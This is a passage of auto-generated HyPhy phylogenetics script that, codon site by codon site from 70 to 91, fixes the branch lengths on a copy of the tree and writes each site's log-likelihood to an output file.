\"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 70\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"70\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 71...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"210,211,212\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 71\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"71\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 72...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"213,214,215\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 72\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"72\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 73...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"216,217,218\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 73\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"73\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 74...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"219,220,221\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 74\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"74\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 75...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"222,223,224\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 75\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"75\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 76...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"225,226,227\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 76\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"76\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 77...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"228,229,230\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 77\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"77\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 78...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"231,232,233\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 78\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"78\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 79...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"234,235,236\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 79\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"79\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 80...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"237,238,239\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 80\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"80\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 81...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"240,241,242\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 81\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"81\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 82...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"243,244,245\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 82\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"82\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 83...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"246,247,248\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 83\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"83\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 84...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"249,250,251\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 84\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"84\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 85...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"252,253,254\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 85\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"85\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 86...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"255,256,257\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 86\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"86\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 87...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"258,259,260\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 87\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"87\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 88...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"261,262,263\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 88\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"88\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 89...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"264,265,266\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 89\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"89\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 90...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"267,268,269\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 90\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"90\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 91...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"270,271,272\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 91\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  